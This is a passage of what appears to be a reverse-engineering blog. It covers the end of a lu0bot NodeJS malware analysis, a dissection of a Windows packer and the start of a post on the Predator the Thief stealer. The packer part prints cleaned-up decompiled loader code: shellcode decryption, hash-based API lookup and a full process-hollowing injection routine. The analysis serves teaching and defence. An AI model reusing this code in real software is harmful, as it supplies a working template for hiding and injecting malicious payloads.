 fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,
 size: 798,
 fcb: [Function],
 rcb: [Function],
 interval: 200,
 last_sev: XXXXXXXXXXXXX,
 stmr: false },
 XXXXXXXXXXXX: 
 { id: 'XXXXXXXXXXXX',
 pid: 'XXXXXXX',
 gen: XXXXXXXXXXXXX,
 last: XXXXXXXXXXXXX,
 tmr: [Object],
 p: {},
 psz: 1163,
 btotal: 0,
 type: 'download',
 hn: 'bufread',
 target: 'binit',
 fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,
 size: 798,
 fcb: [Function],
 rcb: [Function],
 interval: 200,
 last_sev: XXXXXXXXXXXXX,
 stmr: false },
 XXXXXXXXXXXX: 
 { id: 'XXXXXXXXXXXX',
 pid: 'XXXXXXX',
 gen: XXXXXXXXXXXXX,
 last: XXXXXXXXXXXXX,
 tmr: [Object],
 p: {},
 psz: 1163,
 btotal: 0,
 type: 'download',
 hn: 'bufread',
 target: 'binit',
 fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,
 size: 798,
 fcb: [Function],
 rcb: [Function],
 interval: 200,
 last_sev: XXXXXXXXXXXXX,
 stmr: false },
 XXXXXXXXXXXX: 
 { id: 'XXXXXXXXXXXX',
 pid: 'XXXXXXX',
 gen: XXXXXXXXXXXXX,
 last: XXXXXXXXXXXXX,
 tmr: [Object],
 p: {},
 psz: 1163,
 btotal: 0,
 type: 'download',
 hn: 'bufread',
 target: 'binit',
 fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,
 size: 798,
 fcb: [Function],
 rcb: [Function] } },
 h: 
 { eval: [Function],
 bufwrite: [Function],
 bufread: [Function],
 filewrite: [Function],
 fileread: [Function] },
 mp_pget: [Function],
 mp_pget_ev: [Function],
 mp_new: [Function: mp_new],
 mp_get: [Function: mp_get],
 mp_count: [Function: mp_count],
 mp_loss: [Function: mp_loss],
 mp_del: [Function: mp_del],
 mp_dtchk: [Function: mp_dtchk],
 mp_dtsum: [Function: mp_dtsum],
 mp_pset: [Function: mp_pset],
 mp_opnew: [Function: mp_opnew],
 mp_opstat: [Function: mp_opstat] }
lq
{ ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 30 00 00 00 00 09 00 00 26 02> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 74 72 75 65> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 74 72 75 65> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 37 39 38> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 37 39 38> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
 ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ] 
}

MITRE ATT&CK

T1059
T1482
T1083
T1046
T1057
T1518
T1082
T1614
T1016
T1124
T1005
T1008
T1571

ELI5 summary

lu0bot is a NodeJS Malware.
Network communications are mixing TCP (loader) and UDP (main stage).
It's pushed at least with Garbage Cleaner.
Its default setup seems to be a aggressive telemetry harvester.
Due to its task manager architecture it is technically able to be everything.

Conclusion

Lu0bot is a curious piece of code which I could admit, even if I don't like at all NodeJS/JavaScript code, the task manager succeeded in mindblowing me for its ingeniosity.

A wild fumik0_ being amazed by the task manager implementation

I have more questions than answers since then I started to put my hands on that one, but the thing that I'm sure, it's active and harvesting data from bots that I have never seen before in such an aggressive way.

Special thanks: @benkow_

Anatomy of a simple and popular packer

Sat, 24 Apr 2021 20:25:53 +0000

It's been a while that I haven't release some stuff here and indeed, it's mostly caused by how fucked up 2020 was. I would have been pleased if this global pandemic hasn't wrecked me so much but i was served as well. Nowadays, with everything closed, corona haircut is new trend and finding a graphic cards or PS5 is like winning at the lottery. So why not fflush all that bullshit by spending some time into malware curiosities (with the support of some croissant and animes), whatever the time, weebs are still weebs.

So let's start 2021 with something really simple... Why not dissecting completely to the ground a well-known packer mixing C/C++ & shellcode (active since some years now).

Typical icons that could be seen with this packer

This one is a cool playground for checking its basics with someone that need to start learning into malware analysis/reverse engineering:

Obfuscation
Cryptography
Decompression
Multi-stage
Shellcode
Remote Thread Hijacking

Disclaimer: This post will be different from what i'm doing usually in my blog with almost no text but i took the time for decompiling and reviewing all the code. So I considered everything is explain.

For this analysis, this sample will be used:

B7D90C9D14D124A163F5B3476160E1CF

Architecture

Speaking of itself, the packer is split into 3 main stages:

A PE that will allocate, decrypt and execute the shellcode n°1
Saving required WinAPI calls, decrypting, decompressing and executing shellcode n°2
Saving required WinAPI calls (again) and executing payload with a remote thread hijacking trick

An overview of this packer

Stage 1 - The PE

The first stage is misleading the analyst to think that a decent amount of instructions are performed, but... after purging all the junk code and unused functions, the cleaned Winmain function is unveiling a short and standard setup for launching a shellcode.

int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
{
 int i; 
 SIZE_T uBytes; 
 HMODULE hModule; 

 // Will be used for Virtual Protect call
 hKernel32 = LoadLibraryA("kernel32.dll");

 // Bullshit stuff for getting correct uBytes value
 uBytes = CONST_VALUE

 _LocalAlloc();

 for ( i = 0; j < uBytes; ++i ) {
 (_FillAlloc)();
 }

 _VirtualProtect();

 // Decrypt function vary between date & samples
 _Decrypt(); 
 _ExecShellcode();

 return 0;
}

It's important to notice this packer is changing its first stage regularly, but it doesn't mean the whole will change in the same way. In fact, the core remains intact but the form will be different, so whenever you have reversed this piece of code once, the pattern is recognizable easily in no time.

Beside using a classic VirtualAlloc, this one is using LocalAlloc for creating an allocated memory page to store the second stage. The variable uBytes was continuously created behind some spaghetti code (global values, loops and conditions).

int (*LocalAlloc())(void)
{
 int (*pBuff)(void); // eax

 pBuff = LocalAlloc(0, uBytes);
 Shellcode = pBuff;
 return pBuff;
}

For avoiding giving directly the position of the shellcode, It's using a simple addition trick for filling the buffer step by step.

int __usercall FillAlloc(int i)
{
 int result; // eax

 // All bullshit code removed
 result = dword_834B70 + 0x7E996;
 *(Shellcode + i) = *(dword_834B70 + 0x7E996 + i);
 return result;
}

Then obviously, whenever an allocation is called, VirtualProtect is not far away for finishing the job. The function name is obfuscated as first glance and adjusted. then for avoiding calling it directly, our all-time classic GetProcAddress will do the job for saving this WinAPI call into a pointer function.

BOOL __stdcall VirtualProtect()
{
 char v1[4]; // [esp+4h] [ebp-4h] BYREF

 String = 0;
 lstrcatA(&String, "VertualBritect"); // No ragrets
 byte_442581 = 'i';
 byte_442587 = 'P';
 byte_442589 = 'o';
 pVirtualProtect = GetProcAddress(hKernel32, &String);
 return (pVirtualProtect)(Shellcode, uBytes, 64, v1);
}

Decrypting the first shellcode

The philosophy behind this packer will lead you to think that the decryption algorithm will not be that much complex. Here the encryption used is TEA, it's simple and easy to used

void Decrypt()
{
 SIZE_T size;
 PVOID sc; 
 SIZE_T i; 

 size = uBytes;
 sc = Shellcode;
 for ( i = size >> 3; i; --i )
 {
 _TEADecrypt(sc); 
 sc = sc + 8; // +8 due it's v[0] & v[1] with TEA Algorithm
 }
}

I am always skeptical whenever i'm reading some manual implementation of a known cryptography algorithm, due that most of the time it could be tweaked. So before trying to understand what are the changes, let's take our time to just make sure about which variable we have to identified:

v[0] and v[1]
y & z
Number of circles (n=32)
16 bytes key represented as k[0], k[1], k[2], k[3]
delta
sum

Identifying TEA variables in x32dbg

For adding more salt to it, you have your dose of mindless amount of garbage instructions.

Junk code hiding the algorithm

After removing everything unnecessary, our TEA decryption algorithm is looking like this

int *__stdcall _TEADecrypt(int *v)
{
 unsigned int y, z, sum;
 int i, v7, v8, v9, v10, k[4]; 
 int *result;

 y = *v;
 z = v[1];
 sum = 0xC6EF3720;

 k[0] = dword_440150;
 k[1] = dword_440154;
 k[3] = dword_440158;
 k[2] = dword_44015C;

 i = 32;
 do
 {
 // Junk code purged
 v7 = k[2] + (y >> 5);
 v9 = (sum + y) ^ (k[3] + 16 * y);
 v8 = v9 ^ v7;
 z -= v8;
 v10 = k[0] + 16 * z;
 (_TEA_Y_Operation)((sum + z) ^ (k[1] + (z >> 5)) ^ v10);
 sum += 0x61C88647; // exact equivalent of sum -= 0x9
 --i;
 }

 while ( i );
 result = v;
 v[1] = z;
 *v = y;
 return result;
}

At this step, the first stage of this packer is now almost complete. By inspecting the dump, you can recognizing our shellcode being ready for action (55 8B EC opcodes are in my personal experience stuff that triggered me almost everytime).

Stage 2 - Falling into the shellcode playground

This shellcode is pretty simple, the main function is just calling two functions:

One focused for saving fundamentals WinAPI call
- LoadLibraryA
- GetProcAddress
Creating the shellcode API structure and setup the workaround for pushing and launching the last shellcode stage

Shellcode main()

Give my WinAPI calls

Disclaimer: In this part, almost no text explanation, everything is detailed with the code

PEB & BaseDllName

Like any another shellcode, it needs to get some address function to start its job, so our PEB best friend is there to do the job.

00965233 | 55 | push ebp |
00965234 | 8BEC | mov ebp,esp |
00965236 | 53 | push ebx |
00965237 | 56 | push esi |
00965238 | 57 | push edi |
00965239 | 51 | push ecx |
0096523A | 64:FF35 30000000 | push dword ptr fs:[30] | Pointer to PEB
00965241 | 58 | pop eax |
00965242 | 8B40 0C | mov eax,dword ptr ds:[eax+C] | Pointer to Ldr
00965245 | 8B48 0C | mov ecx,dword ptr ds:[eax+C] | Pointer to Ldr->InLoadOrderModuleList
00965248 | 8B11 | mov edx,dword ptr ds:[ecx] | Pointer to List Entry (aka pEntry)
0096524A | 8B41 30 | mov eax,dword ptr ds:[ecx+30] | Pointer to BaseDllName buffer (pEntry->DllBaseName->Buffer)

Let's take a look then in the PEB structure

For beginners, i sorted all these values with there respective variable names and meaning.

offset	Type	Variable	Value
0x00	LIST_ENTRY	InLoaderOrderModuleList->Flink	A8 3B 8D 00
0x04	LIST_ENTRY	InLoaderOrderModuleList->Blink	C8 37 8D 00
0x08	LIST_ENTRY	InMemoryOrderList->Flink	B0 3B 8D 00
0x0C	LIST_ENTRY	InMemoryOrderList->Blink	D0 37 8D 00
0x10	LIST_ENTRY	InInitializationOrderModulerList->Flink	70 3F 8D 00
0x14	LIST_ENTRY	InInitializationOrderModulerList->Blink	BC 7B CC 77
0x18	PVOID	BaseAddress	00 00 BB 77
0x1C	PVOID	EntryPoint	00 00 00 00
0x20	UINT	SizeOfImage	00 00 19 00
0x24	UNICODE_STRING	FullDllName	3A 00 3C 00 A0 35 8D 00
0x2C	UNICODE_STRING	BaseDllName	12 00 14 00 B0 6D BB 77

Because he wants at the first the BaseDllName for getting kernel32.dll We could supposed the shellcode will use the offset 0x2c for having the value but it's pointing to 0x30

008F524A | 8B41 30 | mov eax,dword ptr ds:[ecx+30]

It means, It will grab buffer pointer from the UNICODE_STRING structure

typedef struct _UNICODE_STRING {
 USHORT Length;
 USHORT MaximumLength;
 PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

After that, the magic appears

Register	Address	Symbol Value
EAX	77BB6DB0	L"ntdll.dll"

Homemade checksum algorithm ?

Searching a library name or function behind its respective hash is a common trick performed in the wild.

00965248 | 8B11 | mov edx,dword ptr ds:[ecx] | Pointer to List Entry (aka pEntry)
0096524A | 8B41 30 | mov eax,dword ptr ds:[ecx+30] | Pointer to BaseDllName buffer 
0096524D | 6A 02 | push 2 | Increment is 2 due to UNICODE value
0096524F | 8B7D 08 | mov edi,dword ptr ss:[ebp+8] |
00965252 | 57 | push edi | DLL Hash (searched one)
00965253 | 50 | push eax | DLL Name
00965254 | E8 5B000000 | call 9652B4 | Checksum()
00965259 | 85C0 | test eax,eax |
0096525B | 74 04 | je 965261 |
0096525D | 8BCA | mov ecx,edx | pEntry = pEntry->Flink
0096525F | EB E7 | jmp 965248 |

The checksum function used here seems to have a decent risk of hash collisions, but based on the number of occurrences and length of the strings, it's negligible. Otherwise yeah, it could be fucked up very quickly.

BOOL Checksum(PWSTR *pBuffer, int hash, int i)
{
 int pos; // ecx
 int checksum; // ebx
 int c; // edx

 pos = 0;
 checksum = 0;
 c = 0;
 do
 {
 LOBYTE(c) = *pBuffer | 0x60; // Lowercase
 checksum = 2 * (c + checksum);
 pBuffer += i; // +2 due it's UNICODE
 LOBYTE(pos) = *pBuffer;
 --pos;
 }
 while ( *pBuffer && pos );
 return checksum != hash;
}

Find the correct function address

With the pEntry list saved and the checksum function assimilated, it only needs to perform a loop that repeat the process to get the name of the function, put him into the checksum then comparing it with the one that the packer wants.

00965261 | 8B41 18 | mov eax,dword ptr ds:[ecx+18] | BaseAddress
00965264 | 50 | push eax |
00965265 | 8B58 3C | mov ebx,dword ptr ds:[eax+3C] | PE Signature (e_lfanew) RVA
00965268 | 03C3 | add eax,ebx | pNTHeader = BaseAddress + PE Signature RVA
0096526A | 8B58 78 | mov ebx,dword ptr ds:[eax+78] | Export Table RVA
0096526D | 58 | pop eax |
0096526E | 50 | push eax |
0096526F | 03D8 | add ebx,eax | Export Table
00965271 | 8B4B 1C | mov ecx,dword ptr ds:[ebx+1C] | Address of Functions RVA
00965274 | 8B53 20 | mov edx,dword ptr ds:[ebx+20] | Address of Names RVA
00965277 | 8B5B 24 | mov ebx,dword ptr ds:[ebx+24] | Address of Name Ordinals RVA
0096527A | 03C8 | add ecx,eax | Address Table
0096527C | 03D0 | add edx,eax | Name Pointer Table (NPT)
0096527E | 03D8 | add ebx,eax | Ordinal Table (OT)
00965280 | 8B32 | mov esi,dword ptr ds:[edx] |
00965282 | 58 | pop eax |
00965283 | 50 | push eax | BaseAddress
00965284 | 03F0 | add esi,eax | Function Name = NPT[i] + BaseAddress
00965286 | 6A 01 | push 1 | Increment to 1 loop
00965288 | FF75 0C | push dword ptr ss:[ebp+C] | Function Hash (searched one)
0096528B | 56 | push esi | Function Name
0096528C | E8 23000000 | call 9652B4 | Checksum()
00965291 | 85C0 | test eax,eax |
00965293 | 74 08 | je 96529D |
00965295 | 83C2 04 | add edx,4 |
00965298 | 83C3 02 | add ebx,2 |
0096529B | EB E3 | jmp 965280 |

Save the function address

When the name is matching with the hash in output, so it only requiring now to grab the function address and store into EAX.

0096529D | 58 | pop eax |
0096529E | 33D2 | xor edx,edx | Purge
009652A0 | 66:8B13 | mov dx,word ptr ds:[ebx] |
009652A3 | C1E2 02 | shl edx,2 | Ordinal Value
009652A6 | 03CA | add ecx,edx | Function Address RVA
009652A8 | 0301 | add eax,dword ptr ds:[ecx] | Function Address = BaseAddress + Function Address RVA
009652AA | 59 | pop ecx |
009652AB | 5F | pop edi |
009652AC | 5E | pop esi |
009652AD | 5B | pop ebx |
009652AE | 8BE5 | mov esp,ebp |
009652B0 | 5D | pop ebp |
009652B1 | C2 0800 | ret 8 |

Road to the second shellcode ! \o/

Saving API into a structure

Now that LoadLibraryA and GetProcAddress are saved, it only needs to select the function name it wants and putting it into the routine explain above.

In the end, the shellcode is completely setup

struct SHELLCODE
{
 _BYTE Start;
 SCHEADER *ScHeader;
 int ScStartOffset;
 int seed;
 int (__stdcall *pLoadLibraryA)(int *);
 int (__stdcall *pGetProcAddress)(int, int *);
 PVOID GlobalAlloc;
 PVOID GetLastError;
 PVOID Sleep;
 PVOID VirtuaAlloc;
 PVOID CreateToolhelp32Snapshot;
 PVOID Module32First;
 PVOID CloseHandle;
};

struct SCHEADER
{
 _DWORD dwSize;
 _DWORD dwSeed;
 _BYTE option;
 _DWORD dwDecompressedSize;
};

Abusing fake loops

Something that i really found cool in this packer is how the fake loop are funky. They have no sense but somehow they are working and it's somewhat amazing. The more absurd it is, the more i like and i found this really clever.

int __cdecl ExecuteShellcode(SHELLCODE *sc)
{
 unsigned int i; // ebx
 int hModule; // edi
 int lpme[137]; // [esp+Ch] [ebp-224h] BYREF

 lpme[0] = 0x224;
 for ( i = 0; i < 0x64; ++i )
 {
 if ( i )
 (sc->Sleep)(100);
 hModule = (sc->CreateToolhelp32Snapshot)(TH32CS_SNAPMODULE, 0);
 if ( hModule != -1 )
 break;
 if ( (sc->GetLastError)() != 24 )
 break;
 }
 if ( (sc->Module32First)(hModule, lpme) )
 JumpToShellcode(sc); // <------ This is where to look :)
 return (sc->CloseHandle)(hModule);
}

Allocation & preparing new shellcode

void __cdecl JumpToShellcode(SHELLCODE *SC)
{
 int i; 
 unsigned __int8 *lpvAddr; 
 unsigned __int8 *StartOffset; 

 StartOffset = SC->ScStartOffset;
 Decrypt(SC, StartOffset, SC->ScHeader->dwSize, SC->ScHeader->Seed);
 if ( SC->ScHeader->Option )
 {
 lpvAddr = (SC->VirtuaAlloc)(0, *(&SC->ScHeader->dwDecompressSize), 4096, 64);
 i = 0;
 Decompress(StartOffset, SC->ScHeader->dwDecompressSize, lpvAddr, i);
 StartOffset = lpvAddr;
 SC->ScHeader->CompressSize = i;
 }
 __asm { jmp [ebp+StartOffset] }

Decryption & Decompression

The decryption is even simpler than the one for the first stage by using a simple re-implementation of the ms_rand function, with a set seed value grabbed from the shellcode structure, that i decided to call here SCHEADER.

int Decrypt(SHELLCODE *sc, int startOffset, unsigned int size, int s)
{
 int seed; // eax
 unsigned int count; // esi
 _BYTE *v6; // edx

 seed = s;
 count = 0;
 for ( API->seed = s; count < size; ++count )
 {
 seed = ms_rand(sc);
 *v6 ^= seed;
 }
 return seed;
}

XOR everywhere \o/

Then when it's done, it only needs to be decompressed.

Decrypted shellcode entering into the decompression loop

Stage 3 - Launching the payload

Reaching finally the final stage of this packer. This is the exact same pattern like the first shellcode:

Find & Stored GetProcAddress & Load Library
Saving all WinAPI functions required
Pushing the payload

The structure from this one is a bit longer

struct SHELLCODE
{
 PVOID (__stdcall *pLoadLibraryA)(LPCSTR);
 PVOID (__stdcall *pGetProcAddress)(HMODULE, LPSTR);
 char notused;
 PVOID ScOffset;
 PVOID LoadLibraryA;
 PVOID MessageBoxA;
 PVOID GetMessageExtraInfo;
 PVOID hKernel32;
 PVOID WinExec;
 PVOID CreateFileA;
 PVOID WriteFile;
 PVOID CloseHandle;
 PVOID CreateProcessA;
 PVOID GetThreadContext;
 PVOID VirtualAlloc;
 PVOID VirtualAllocEx;
 PVOID VirtualFree;
 PVOID ReadProcessMemory;
 PVOID WriteProcessMemory;
 PVOID SetThreadContext;
 PVOID ResumeThread;
 PVOID WaitForSingleObject;
 PVOID GetModuleFileNameA;
 PVOID GetCommandLineA;
 PVOID RegisterClassExA;
 PVOID CreateWindowA;
 PVOID PostMessageA;
 PVOID GetMessageA;
 PVOID DefWindowProcA;
 PVOID GetFileAttributesA;
 PVOID hNtdll;
 PVOID NtUnmapViewOfSection;
 PVOID NtWriteVirtualMemory;
 PVOID GetStartupInfoA;
 PVOID VirtualProtectEx;
 PVOID ExitProcess;
};

Interestingly, the stack string trick is different from the first stage

Fake loop once, fake loop forever

At this rate now, you understood, that almost everything is a lie in this packer. We have another perfect example here, with a fake loop consisting of checking a non-existent file attribute where in the reality, the variable "j" is the only one that have a sense.

void __cdecl _Inject(SC *sc)
{
 LPSTRING lpFileName; // [esp+0h] [ebp-14h]
 char magic[8]; 
 unsigned int j; 
 int i; 

 strcpy(magic, "apfHQ");
 j = 0;
 i = 0;
 while ( i != 111 )
 {
 lpFileName = (sc->GetFileAttributesA)(magic);
 if ( j > 1 && lpFileName != 0x637ADF )
 {
 i = 111;
 SetupInject(sc);
 }
 ++j;
 }
}

Good ol' remote thread hijacking

Then entering into the Inject setup function, no need much to say, the remote thread hijacking trick is used for executing the final payload.

 ScOffset = sc->ScOffset;
 pNtHeader = (ScOffset->e_lfanew + sc->ScOffset);
 lpApplicationName = (sc->VirtualAlloc)(0, 0x2800, 0x1000, 4);
 status = (sc->GetModuleFileNameA)(0, lpApplicationName, 0x2800);
 
 if ( pNtHeader->Signature == 0x4550 ) // "PE"
 {
 (sc->GetStartupInfoA)(&lpStartupInfo);
 lpCommandLine = (sc->GetCommandLineA)(0, 0, 0, 0x8000004, 0, 0, &lpStartupInfo, &lpProcessInformation);
 status = (sc->CreateProcessA)(lpApplicationName, lpCommandLine);
 if ( status )
 {
 (sc->VirtualFree)(lpApplicationName, 0, 0x8000);
 lpContext = (sc->VirtualAlloc)(0, 4, 4096, 4);
 lpContext->ContextFlags = &loc_10005 + 2;
 status = (sc->GetThreadContext)(lpProcessInformation.hThread, lpContext);
 if ( status )
 {
 (sc->ReadProcessMemory)(lpProcessInformation.hProcess, lpContext->Ebx + 8, &BaseAddress, 4, 0);
 if ( BaseAddress == pNtHeader->OptionalHeader.ImageBase )
 (sc->NtUnmapViewOfSection)(lpProcessInformation.hProcess, BaseAddress);
 lpBaseAddress = (sc->VirtualAllocEx)(
 lpProcessInformation.hProcess,
 pNtHeader->OptionalHeader.ImageBase,
 pNtHeader->OptionalHeader.SizeOfImage,
 0x3000,
 0x40);
 (sc->NtWriteVirtualMemory)(
 lpProcessInformation.hProcess,
 lpBaseAddress,
 sc->ScOffset,
 pNtHeader->OptionalHeader.SizeOfHeaders,
 0);
 for ( i = 0; i < pNtHeader->FileHeader.NumberOfSections; ++i )
 {
 Section = (ScOffset->e_lfanew + sc->ScOffset + 40 * i + 248);
 (sc->NtWriteVirtualMemory)(
 lpProcessInformation.hProcess,
 Section[1].Size + lpBaseAddress,
 Section[2].Size + sc->ScOffset,
 Section[2].VirtualAddress,
 0);
 }
 (sc->WriteProcessMemory)(
 lpProcessInformation.hProcess,
 lpContext->Ebx + 8,
 &pNtHeader->OptionalHeader.ImageBase,
 4,
 0);
 lpContext->Eax = pNtHeader->OptionalHeader.AddressOfEntryPoint + lpBaseAddress;
 (sc->SetThreadContext)(lpProcessInformation.hThread, lpContext);
 (sc->ResumeThread)(lpProcessInformation.hThread);
 (sc->CloseHandle)(lpProcessInformation.hThread);
 (sc->CloseHandle)(lpProcessInformation.hProcess);
 status = (sc->ExitProcess)(0);
 }
 }
 }

Same but different, but still the same

As explained at the beginning, whenever you have reversed this packer, you understand that the core is pretty similar every-time. It took only few seconds, to breakpoints at specific places to reach the shellcode stage(s).

Identifying core pattern (LocalAlloc, Module Handle and VirtualProtect)

The funny is on the decryption used now in the first stage, it's the exact copy pasta from the shellcode side.

TEA decryption replaced with rand() + xor like the first shellcode stage

At the start of the second stage, there is not so much to say that the instructions are almost identical

Shellcode n°1 is identical into two different campaign waves

It seems that the second shellcode changed few hours ago (at the date of this paper), so let's see if other are motivated to make their own analysis of it

Conclusion

Well well, it's cool sometimes to deal with something easy but efficient. It has indeed surprised me to see that the core is identical over the time but I insist this packer is really awesome for training and teaching someone into malware/reverse engineering.

Well, now it's time to go serious for the next release :)

Stay safe in those weird times o/

Let's play (again) with Predator the thief

Wed, 25 Dec 2019 19:49:49 +0000

Whenever I reverse a sample, I am mostly interested in how it was developed, even if in the end the techniques employed are generally the same, I am always curious about what was the way to achieve a task, or just simply understand the code philosophy of a piece of code. It is a very nice way to spot different trending and discovering (sometimes) new tricks that you never know it was possible to do. This is one of the main reasons, I love digging mostly into stealers/clippers for their accessibility for being reversed, and enjoying malware analysis as a kind of game (unless some exceptions like Nymaim that is literally hell). It's been 1 year and a half now that I start looking into "Predator The Thief", and this malware has evolved over time in terms of content added and code structure. This impression could be totally different from others in terms of stealing tasks performed, but based on my first in-depth analysis,, the code has changed too much and it was necessary to make another post on it. This one will focus on some major aspects of the 3.3.2 version, but will not explain everything (because some details have already been mentioned in other papers, some subjects are known). Also, times to times I will add some extra commentary about malware analysis in general.

Anti-Disassembly

When you open an unpacked binary in IDA or other disassembler software like GHIDRA, there is an amount of code that is not interpreted correctly which leads to rubbish code, the incapacity to construct instructions or showing some graph. Behind this, it's obvious that an anti-disassembly trick is used. The technique exploited here is known and used in the wild by other malware, it requires just a few opcodes to process and leads at the end at the creation of a false branch. In this case, it begins with a simple xor instruction that focuses on configuring the zero flag and forcing the JZ jump condition to work no matter what, so, at this stage, it's understandable that something suspicious is in progress. Then the MOV opcode (0xB8) next to the jump is a 5 bytes instruction and disturbing the disassembler to consider that this instruction is the right one to interpret beside that the correct opcode is inside this one, and in the end, by choosing this wrong path malicious tasks are hidden. Of course, fixing this issue is simple, and required just a few seconds. For example with IDA, you need to undefine the MOV instruction by pressing the keyboard shortcut "U", to produce this pattern. Then skip the 0xB8 opcode, and pushing on "C" at the 0xE8 position, to configure the disassembler to interpret instruction at this point. Replacing the 0xB8 opcode by 0x90. with a hexadecimal editor, will fix the issue. Opening again the patched PE, you will see that IDA is now able to even show the graph mode. After patching it, there are still some parts that can't be correctly parsed by the disassembler, but after reading some of the code locations, some of them are correct, so if you want to create a function, you can select the "loc" section then pushed on "P" to create a sub-function, of course, this action could lead to some irreversible thing if you are not sure about your actions and end to restart again the whole process to remove a the ant-disassembly tricks, so this action must be done only at last resort.

Code Obfuscation

Whenever you are analyzing Predator, you know that you will have to deal with some obfuscation tricks almost everywhere just for slowing down your code analysis. Of course, they are not complicated to assimilate, but as always, simple tricks used at their finest could turn a simple fun afternoon to literally "welcome to Dark Souls". The concept was already there in the first in-depth analysis of this malware, and the idea remains over and over with further updates on it. The only differences are easy to guess :

More layers of obfuscation have been added
Techniques already used are just adjusted.
More dose of randomness

As a reversing point of view, I am considering this part as one the main thing to recognized this stealer, even if of course, you can add network communication and C&C pattern as other ways for identifying it, inspecting the code is one way to clarify doubts (and I understand that this statement is for sure not working for every malware), but the idea is that nowadays it's incredibly easy to make mistakes by being dupe by rules or tags on sandboxes, due to similarities based on code-sharing, or just literally creating false flag.

GetModuleAddress

Already there in a previous analysis, recreating the GetProcAddress is a popular trick to hide an API call behind a simple register call. Over the updates, the main idea is still there but the main procedures have been modified, reworked or slightly optimized. First of all, we recognized easily the PEB retrieved by spotting fs[0x30] behind some extra instructions. then from it, the loader data section is requested for two things:

Getting the InLoadOrderModuleList pointer
Getting the InMemoryOrderModuleList pointer

For those who are unfamiliar by this, basically, the PEB_LDR_DATA is a structure is where is stored all the information related to the loaded modules of the process. Then, a loop is performing a basic search on every entry of the module list but in "memory order" on the loader data, by retrieving the module name, generating a hash of it and when it's done, it is compared with a hardcoded obfuscated hash of the kernel32 module and obviously, if it matches, the module base address is saved, if it's not, the process is repeated again and again.

The XOR kernel32 hashes compared with the one created

Nowadays, using hashes for a function name or module name is something that you can see in many other malware, purposes are multiple and this is one of the ways to hide some actions. An example of this code behavior could be found easily on the internet and as I said above, this one is popular and already used.

GetProcAddress / GetLoadLibrary

Always followed by GetModuleAddress, the code for recreating GetProcAddress is by far the same architecture model than the v2, in term of the concept used. If the function is forwarded, it will basically perform a recursive call of itself by getting the forward address, checking if the library is loaded then call GetProcAddress again with new values.

Xor everything

It's almost unnecessary to talk about it, but as in-depth analysis, if you have never read the other article before, it's always worth to say some words on the subject (as a reminder). The XOR encryption is a common cipher that required a rudimentary implementation for being effective :

Only one operator is used (XOR)
it's not consuming resources.
It could be used as a component of other ciphers

This one is extremely popular in malware and the goal is not really to produce strong encryption because it's ridiculously easy to break most of the time, they are used for hiding information or keywords that could be triggering alerts, rules...

Communication between host & server
Hiding strings
Or... simply used as an absurd step for obfuscating the code
etc...

A typical example in Predator could be seeing huge blocks with only two instructions (XOR & MOV), where stacks strings are decrypted X bytes per X bytes by just moving content on a temporary value (stored on EAX), XORed then pushed back to EBP, and the principle is reproduced endlessly again and again. This is rudimentary, In this scenario, it's just part of the obfuscation process heavily abused by predator, for having an absurd amount of instruction for simple things. Also for some cases, When a hexadecimal/integer value is required for an API call, it could be possible to spot another pattern of a hardcoded string moved to a register then only one XOR instruction is performed for revealing the correct value, this trivial thing is used for some specific cases like the correct position in the TEB for retrieving the PEB, an RVA of a specific module, ... Finally, the most common one, there is also the classic one used by using a for loop for a one key length XOR key, seen for decrypting modules, functions, and other things...

str = ... # encrypted string

for i, s in enumerate(str):
